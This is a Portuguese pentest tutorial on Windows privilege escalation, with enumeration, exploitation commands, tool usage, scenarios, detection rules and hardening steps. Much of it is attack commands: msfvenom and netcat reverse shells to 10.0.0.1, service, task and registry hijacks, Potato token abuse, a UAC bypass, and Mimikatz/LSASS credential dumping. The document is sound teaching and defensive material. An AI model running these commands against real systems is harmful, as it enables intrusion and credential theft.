# Privilege Escalation

## 📑 **Índice**

1. [Fundamentos do Privilege Escalation no Windows](#-fundamentos-do-privilege-escalation-no-windows)
2. [Metodologia de Escalonamento](#-metodologia-de-escalonamento)
3. [Técnicas de Escalonamento](#-técnicas-de-escalonamento)
4. [Ferramentas e Automação](#-ferramentas-e-automação)
5. [Cenários Reais e Casos Práticos](#-cenários-reais-e-casos-práticos)
6. [Detecção e Monitoramento](#-detecção-e-monitoramento)
7. [Mitigação e Hardening](#-mitigação-e-hardening)
8. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos do Privilege Escalation no Windows**

### **O que é Privilege Escalation no Windows?**

Privilege Escalation (Escalonamento de Privilégios) é o processo pelo qual um atacante obtém níveis de acesso mais elevados no sistema Windows. Isso geralmente significa passar de um usuário comum (como `IIS AppPool` ou `user`) para `SYSTEM`, `Administrator` ou outro usuário com privilégios elevados.

### **Tipos de Escalonamento no Windows**

```mermaid
graph TD
    A[Privilege Escalation Windows] --> B[Vertical Escalation]
    A --> C[Horizontal Escalation]
    
    B --> B1[Usuário comum → Administrador]
    B --> B2[Usuário comum → SYSTEM]
    B --> B3[Serviço → SYSTEM]
    
    C --> C1[Usuário A → Usuário B]
    C --> C2[iis apppool → domínio user]
```

### **Hierarquia de Privilégios no Windows**

```yaml
Níveis de privilégio:
  SYSTEM (SID: S-1-5-18):
    - Controle total do sistema operacional
    - Acesso a todos os recursos
    - Maior nível de privilégio possível
  
  Administrator (SID: S-1-5-32-544):
    - Controle administrativo
    - Pode executar ações elevadas (UAC)
    - Pode escalar para SYSTEM facilmente
  
  Usuário (SID: S-1-5-21-xxx-xxx-xxx-xxx):
    - Acesso limitado a recursos do usuário
    - Requer elevação para ações administrativas
  
  Serviço/AppPool:
    - Privilégios limitados específicos
    - Geralmente com privilégios de rede
    - Frequentemente alvo inicial (IIS, MSSQL, etc.)
```

### **Tokens de Acesso e SIDs**

```powershell
# Verificar tokens do processo atual
whoami /all

# Listar privilégios do usuário
whoami /priv

# Listar grupos do usuário
whoami /groups
```

***

## 🎯 **Metodologia de Escalonamento**

### **Fases do Escalonamento**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant S as Sistema Alvo

    Note over A,S: FASE 1: Enumeração
    A->>S: Coletar informações do sistema
    S-->>A: Versão Windows, hotfixes, usuários
    
    Note over A,S: FASE 2: Identificação
    A->>S: Buscar vetores de escalonamento
    S-->>A: Serviços, permissões, arquivos
    
    Note over A,S: FASE 3: Exploração
    A->>S: Executar exploit ou técnica
    S-->>A: Acesso SYSTEM
    
    Note over A,S: FASE 4: Persistência
    A->>S: Estabelecer backdoor
    S-->>A: Acesso mantido
```

### **Script de Enumeração Automática**

```powershell
# winPEAS.ps1 - Script de enumeração
# Download: https://github.com/carlospolop/PEASS-ng

# Executar winPEAS
powershell -ep bypass -c ". .\winPEAS.ps1; winPEAS"

# Modo rápido
powershell -ep bypass -c ". .\winPEAS.ps1; winPEAS fast"

# Saída para arquivo
powershell -ep bypass -c ". .\winPEAS.ps1; winPEAS | Out-File output.txt"
```

***

## ⚔️ **Técnicas de Escalonamento**

### **1. Serviços Vulneráveis**

#### **Verificação de Serviços**

```powershell
# Listar serviços
Get-Service | Where-Object {$_.Status -eq "Running"}

# Verificar permissões de serviço
sc.exe sdshow "ServiceName"

# Serviços com permissões fracas
Get-WmiObject -Class Win32_Service | Where-Object {$_.StartName -eq "LocalSystem"} | 
    Select-Object Name, StartName, PathName
```

#### **Exploração – Service Binary Hijacking**

```powershell
# Verificar permissões do binário do serviço
icacls "C:\Program Files\VulnerableService\service.exe"

# Se o diretório é writable, substituir o binário
# Criar payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o service.exe

# Substituir binário
copy service.exe "C:\Program Files\VulnerableService\service.exe"

# Reiniciar serviço
net stop VulnerableService && net start VulnerableService
```

#### **Exploração – Unquoted Service Path**

```powershell
# Encontrar serviços com path não quotado
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

# Exemplo: C:\Program Files\MyApp\service.exe
# Se C:\Program Files\MyApp\service.exe não existe, Windows tenta:
# C:\Program.exe (se existir)

# Criar payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o "C:\Program Files\MyApp\service.exe"

# Reiniciar serviço
net stop VulnerableService && net start VulnerableService
```

#### **Exploração – Service Permissions**

```powershell
# Verificar serviços com permissões de configuração
accesschk.exe -uwcqv "Everyone" *
accesschk.exe -uwcqv "BUILTIN\Users" *

# Modificar configuração do serviço
sc config "VulnerableService" binPath= "C:\temp\nc.exe -e cmd.exe 10.0.0.1 4444"
sc config "VulnerableService" obj= "LocalSystem"

# Iniciar serviço
sc start VulnerableService
```

### **2. Scheduled Tasks (Tarefas Agendadas)**

```powershell
# Listar tarefas agendadas
schtasks /query /fo LIST /v

# Verificar tarefas executando como SYSTEM
schtasks /query /fo LIST /v | findstr /i "SYSTEM"

# Verificar permissões da tarefa
schtasks /query /tn "TaskName" /xml

# Modificar tarefa (se permissões permitirem)
schtasks /change /tn "TaskName" /tr "C:\temp\nc.exe -e cmd.exe 10.0.0.1 4444"

# Executar tarefa
schtasks /run /tn "TaskName"
```

### **3. AlwaysInstallElevated**

```powershell
# Verificar chaves de registro
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Criar MSI malicioso
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f msi -o evil.msi

# Instalar como SYSTEM
msiexec /quiet /qn /i evil.msi
```

### **4. Autoruns e Startup**

```powershell
# Verificar entradas de inicialização
# Usando Autoruns do Sysinternals
autoruns.exe

# Verificar permissões de pastas de inicialização
icacls "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
icacls "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"

# Criar payload na pasta de inicialização
copy evil.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\"
```

### **5. Always Install Elevated (MSI)**

```powershell
# Verificar AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Se ambos retornarem 1, criar MSI malicioso
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f msi -o evil.msi

# Instalar como SYSTEM
msiexec /quiet /qn /i evil.msi
```

### **6. DLL Hijacking**

```powershell
# Verificar aplicações vulneráveis
# Usar Process Monitor para encontrar DLLs não encontradas

# Criar DLL maliciosa
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f dll -o evil.dll

# Colocar no diretório onde a aplicação procura
copy evil.dll "C:\Program Files\VulnerableApp\missing.dll"
```

### **7. Potentially Vulnerable Drivers**

```powershell
# Listar drivers carregados
driverquery /v

# Verificar drivers vulneráveis conhecidos
# Capcom.sys, dbutil_2_3.sys, etc.

# Usar exploit de driver vulnerável
# Exemplo: Capcom.sys exploit
# https://github.com/tandasat/ExploitCapcom
```

### **8. Kernel Exploits**

```powershell
# Verificar versão do sistema
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

# Listar hotfixes instalados
wmic qfe get Caption,Description,HotFixID,InstalledOn

# Verificar exploits disponíveis
# MS16-032, MS16-135, CVE-2019-1458, CVE-2020-0796, etc.

# Exemplo: MS16-032 (Windows 7/2008)
# https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16032.ps1
```

### **9. Weak Registry Permissions**

```powershell
# Verificar permissões de chave de registro
# Usar AccessChk
accesschk.exe -k "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options"

# Verificar AutoRun
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

# Modificar chave vulnerável
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /t REG_SZ /d "C:\temp\nc.exe -e cmd.exe 10.0.0.1 4444"
```

### **10. Unattended Installs**

```powershell
# Procurar arquivos de instalação não monitorada
dir C:\Windows\Panther\Unattend.xml
dir C:\Windows\Panther\Autounattend.xml
dir C:\Windows\System32\Sysprep\sysprep.xml

# Extrair credenciais
type C:\Windows\Panther\Unattend.xml | findstr /i "password"
```

### **11. Credential Harvesting**

```powershell
# Credenciais do Windows
# Mimikatz
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

# LSASS dump
procdump.exe -accepteula -ma lsass.exe lsass.dmp

# Usar mimikatz para extrair do dump
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" exit

# Credenciais em arquivos de configuração
findstr /si password *.config
findstr /si password *.xml
findstr /si password *.ini
```

### **12. UAC Bypass**

```powershell
# Verificar nível UAC
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin

# Técnicas de bypass
# 1. Fodhelper
# 2. Event Viewer
# 3. CMSTP
# 4. ComputerDefaults
# 5. SilentCleanup

# Exemplo: Fodhelper bypass
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "(default)" -Value "C:\temp\evil.exe"
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value ""
fodhelper.exe
```

### **13. Token Impersonation**

```powershell
# Verificar tokens disponíveis
whoami /priv
# Se SeImpersonatePrivilege ou SeAssignPrimaryTokenPrivilege estão habilitados

# Usar Rotten Potato
# PrintSpoofer
PrintSpoofer.exe -i -c cmd.exe

# RoguePotato
RoguePotato.exe -r 10.0.0.1 -e "C:\temp\nc.exe -e cmd.exe 10.0.0.1 4444"

# JuicyPotato
JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\temp\nc.exe -e cmd.exe 10.0.0.1 4444" -t *
```

### **14. PowerShell Constrained Language Mode Bypass**

```powershell
# Verificar modo de linguagem
$ExecutionContext.SessionState.LanguageMode

# Bypass via COM
$com = [Type]::GetTypeFromCLSID("00024500-0000-0000-C000-000000000046")
$obj = [System.Activator]::CreateInstance($com)
$obj.GetType().GetMethod("Execute").Invoke($obj, @("powershell.exe -c 'whoami'"))

# Bypass via .NET
[System.Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes("C:\temp\evil.exe"))
```

***

## 🛠️ **Ferramentas e Automação**

### **1. winPEAS – Windows Privilege Escalation Awesome Script**

```powershell
# Download
Invoke-WebRequest -Uri "https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEAS.bat" -OutFile winPEAS.bat

# Executar
.\winPEAS.bat

# Modo quiet
.\winPEAS.bat quiet

# Modo rápido
.\winPEAS.bat fast
```

### **2. PowerUp – PowerShell Privilege Escalation**

```powershell
# Importar PowerUp
Import-Module .\PowerUp.ps1

# Executar todas as verificações
Invoke-AllChecks

# Verificar serviços vulneráveis
Get-ServiceUnquoted
Get-ServicePerms
Get-ServiceDetail

# Verificar AlwaysInstallElevated
Get-RegistryAlwaysInstallElevated
```

### **3. SharpUp – C# Privilege Escalation**

```powershell
# Compilar
csc.exe /reference:System.ServiceProcess.dll /reference:System.Management.dll SharpUp.cs

# Executar
SharpUp.exe

# Verificar apenas certas categorias
SharpUp.exe audit UnquotedServicePath
SharpUp.exe audit ModifiableServices
```

### **4. Watson – Local Privilege Escalation**

```powershell
# Download
Invoke-WebRequest -Uri "https://github.com/rasta-mouse/Watson/raw/master/Watson.exe" -OutFile Watson.exe

# Executar
.\Watson.exe
```

### **5. PrivescCheck – PowerShell Script**

```powershell
# Download
Invoke-WebRequest -Uri "https://raw.githubusercontent.com/itm4n/PrivescCheck/master/PrivescCheck.ps1" -OutFile PrivescCheck.ps1

# Executar
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"
```

### **6. Metasploit – Local Exploit Suggester**

```bash
# No Metasploit
msf6 > use post/multi/recon/local_exploit_suggester
msf6 > set SESSION 1
msf6 > run
```

***

## 📊 **Cenários Reais e Casos Práticos**

### **Cenário 1: Unquoted Service Path**

```powershell
# Contexto: Serviço com path não quotado
PS C:\> wmic service get name,pathname | findstr "MyService"
MyService  C:\Program Files\My Company\MyService.exe

# Verificar permissões
PS C:\> icacls "C:\Program Files\My Company\"
C:\Program Files\My Company\ Everyone:(OI)(CI)(F)

# Criar payload
PS C:\> msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o "C:\Program.exe"

# Reiniciar serviço
PS C:\> net stop MyService && net start MyService

# Shell reverso recebido como SYSTEM
```

### **Cenário 2: Serviço com Permissões Fracas**

```powershell
# Contexto: Serviço com permissões de configuração
PS C:\> accesschk.exe -uwcqv "Users" *
RW VULNERABLE_SERVICE

# Modificar serviço
PS C:\> sc config VULNERABLE_SERVICE binPath= "C:\temp\nc.exe -e cmd.exe 10.0.0.1 4444"
PS C:\> sc config VULNERABLE_SERVICE obj= "LocalSystem"

# Iniciar serviço
PS C:\> net start VULNERABLE_SERVICE
```

### **Cenário 3: AlwaysInstallElevated**

```powershell
# Contexto: AlwaysInstallElevated habilitado
PS C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1

PS C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1

# Criar MSI
PS C:\> msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f msi -o evil.msi

# Instalar como SYSTEM
PS C:\> msiexec /quiet /qn /i evil.msi
```

### **Cenário 4: Token Impersonation (Potato)**

```powershell
# Contexto: SeImpersonatePrivilege habilitado
PS C:\> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                         State
============================= =================================== ========
SeImpersonatePrivilege        Impersonate a client after authentication Enabled

# Usar PrintSpoofer
PS C:\> PrintSpoofer.exe -i -c cmd.exe

# Ou JuicyPotato
PS C:\> JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c whoami > C:\temp\output.txt" -t *
```

### **Cenário 5: DLL Hijacking**

```powershell
# Contexto: Aplicação carrega DLL ausente
# Usar Process Monitor para encontrar DLLs não encontradas

# Criar DLL maliciosa
PS C:\> msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f dll -o evil.dll

# Colocar no diretório de busca
PS C:\> copy evil.dll "C:\Program Files\VulnerableApp\missing.dll"

# Executar aplicação
PS C:\> start "C:\Program Files\VulnerableApp\app.exe"

# Shell reverso como usuário da aplicação
```

***

## 🔍 **Detecção e Monitoramento**

### **Indicadores de Comprometimento (IOCs)**

```yaml
Indicadores de escalonamento:

  Logs de Eventos:
    - Evento 4624: Logon com privilégios elevados inesperados
    - Evento 4672: Atribuição de privilégios especiais
    - Evento 4698: Criação de tarefa agendada
    - Evento 7045: Instalação de serviço
    - Evento 4657: Modificação de registro

  Processos:
    - Processos filhos incomuns (ex: cmd.exe, powershell.exe de serviços)
    - Processos executando de diretórios temporários
    - Processos com tokens de impressão (Potato exploits)

  Arquivos:
    - Novos arquivos em System32 ou diretórios de sistema
    - DLLs não assinadas em diretórios de aplicações
    - Arquivos MSI em locais temporários
```

### **Logs a Monitorar**

```powershell
# Eventos de criação de serviço (Event ID 7045)
Get-WinEvent -FilterHashtable @{LogName='System'; ID=7045} | 
    Select-Object -First 10

# Eventos de criação de tarefa agendada (Event ID 4698)
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4698} | 
    Select-Object -First 10

# Eventos de modificação de serviço (Event ID 4697)
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4697} | 
    Select-Object -First 10

# Eventos de logon com privilégios especiais (Event ID 4672)
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4672} | 
    Where-Object {$_.Message -like "*S-1-5-18*"} |
    Select-Object -First 10
```

### **Ferramentas de Detecção**

```powershell
# Sysmon para monitoramento avançado
# Configuração para detectar escalonamento
$sysmonConfig = @"
<Sysmon>
    <EventFiltering>
        <ProcessCreate onmatch="include">
            <ParentImage condition="contains">services.exe</ParentImage>
            <Image condition="contains">cmd.exe</Image>
        </ProcessCreate>
        <FileCreateTime onmatch="include">
            <TargetFilename condition="contains">C:\Windows\System32\</TargetFilename>
            <TargetFilename condition="end with">.dll</TargetFilename>
        </FileCreateTime>
    </EventFiltering>
</Sysmon>
"@

$sysmonConfig | Out-File sysmon_config.xml
sysmon.exe -c sysmon_config.xml
```

***

## 🛡️ **Mitigação e Hardening**

### **1. Hardening de Serviços**

```powershell
# Desabilitar serviços desnecessários
Set-Service "ServiceName" -StartupType Disabled

# Configurar permissões de serviço
# Usar sc.exe para modificar permissões
sc.exe sdset ServiceName "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)"

# Verificar serviços vulneráveis regularmente
Get-WmiObject Win32_Service | Where-Object {
    $_.StartName -eq "LocalSystem" -and 
    $_.PathName -notlike "*\Windows\*" -and
    $_.PathName -like "* *"
}
```

### **2. Hardening de Permissões**

```powershell
# Configurar permissões em diretórios críticos
icacls "C:\Program Files" /inheritance:r
icacls "C:\Program Files" /grant:r "SYSTEM:(OI)(CI)F"
icacls "C:\Program Files" /grant:r "Administrators:(OI)(CI)F"

# Configurar permissões de registro
# HKLM\SOFTWARE - remover permissões de escrita para usuários
regini.exe hklm_software_perms.txt
```

### **3. Políticas de Segurança**

```powershell
# Configurar UAC
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "EnableLUA" -Value 1
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "ConsentPromptBehaviorAdmin" -Value 2

# Desabilitar AlwaysInstallElevated
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer" -Name "AlwaysInstallElevated" -Value 0
Set-ItemProperty -Path "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer" -Name "AlwaysInstallElevated" -Value 0

# Configurar LSA
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "LmCompatibilityLevel" -Value 5
```

### **4. AppLocker e WDAC**

```powershell
# Habilitar AppLocker
# Criar regras padrão
New-AppLockerPolicy -RuleType Exe, Dll, Msi, Script -User Everyone

# Configurar regras para permitir apenas assinado
$rule = New-AppLockerPublisherRule -Publisher "Microsoft" -ProductName "*" -BinaryName "*" -User Everyone -Action Allow
Set-AppLockerPolicy -Policy $rule
```

### **5. Monitoramento Contínuo**

```powershell
# Configurar auditoria de processos
auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable

# Configurar auditoria de serviços
auditpol /set /subcategory:"Security Group Management" /success:enable /failure:enable

# Configurar auditoria de tarefas agendadas
auditpol /set /subcategory:"Other Object Access Events" /success:enable /failure:enable
```

***

## 📋 **Checklists de Segurança**

### **Checklist de Prevenção**

* [ ] **Serviços**
  * [ ] Remover serviços desnecessários
  * [ ] Usar caminhos quotados em serviços
  * [ ] Configurar permissões restritas
  * [ ] Verificar binários de serviços
* [ ] **Tarefas Agendadas**
  * [ ] Revisar tarefas executando como SYSTEM
  * [ ] Verificar permissões de scripts
  * [ ] Usar contas de serviço gerenciadas
* [ ] **Permissões**
  * [ ] Configurar ACLs restritas
  * [ ] Remover permissões de escrita para usuários em diretórios do sistema
  * [ ] Revisar permissões de registro
* [ ] **UAC**
  * [ ] Manter UAC habilitado
  * [ ] Configurar nível apropriado
* [ ] **Atualizações**
  * [ ] Aplicar patches de segurança
  * [ ] Manter sistema atualizado
* [ ] **Monitoramento**
  * [ ] Configurar auditoria
  * [ ] Monitorar logs de segurança
  * [ ] Alertar sobre padrões suspeitos

### **Checklist de Teste**

* [ ] **Enumeração**
  * [ ] Coletar informações do sistema
  * [ ] Listar serviços vulneráveis
  * [ ] Verificar permissões
  * [ ] Identificar tarefas agendadas
* [ ] **Exploração**
  * [ ] Testar unquoted service paths
  * [ ] Testar permissões de serviço
  * [ ] Testar AlwaysInstallElevated
  * [ ] Testar token impersonation
* [ ] **Pós-exploração**
  * [ ] Extrair credenciais
  * [ ] Estabelecer persistência
  * [ ] Limpar evidências

***

## 📊 **Conclusão e Boas Práticas**

### **Resumo Técnico**

```yaml
Privilege Escalation no Windows:
  ✅ Serviços vulneráveis são o vetor mais comum
  ✅ Permissões mal configuradas são frequentes
  ✅ Técnicas de token impersonation são poderosas
  ✅ Kernel exploits são menos comuns, mas críticos

Defesas essenciais:
  ❌ Não executar serviços como SYSTEM desnecessariamente
  ✓ Aplicar princípio do menor privilégio
  ✓ Auditar permissões regularmente
  ✓ Manter sistema atualizado
  ✓ Monitorar logs de segurança
```

### **Comandos Úteis para Pentesters**

```powershell
# Informações do sistema
systeminfo
wmic os get Caption,CSDVersion
wmic qfe get HotFixID

# Usuários e grupos
net user
net localgroup administrators
whoami /all

# Serviços
wmic service get name,pathname,startname
sc query state= all

# Tarefas agendadas
schtasks /query /fo LIST /v

# Permissões
icacls "C:\Program Files\"
accesschk.exe -uwcqv "Users" *

# Registro
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
```

### **Recomendações Finais**

1. **Para Administradores**
   * Mantenha o sistema atualizado
   * Revise serviços e permissões regularmente
   * Configure auditoria e monitoramento
   * Implemente AppLocker/WDAC
   * Aplique o princípio do menor privilégio
2. **Para Pentesters**
   * Sempre comece com enumeração completa
   * Teste todos os vetores conhecidos
   * Combine técnicas para escalonamento
   * Documente todos os passos
   * Limpe evidências após o teste
3. **Para Desenvolvedores**
   * Nunca armazene credenciais em código
   * Use contas de serviço gerenciadas
   * Valide todas as entradas
   * Siga o princípio do menor privilégio


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/windows/privilege-escalation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
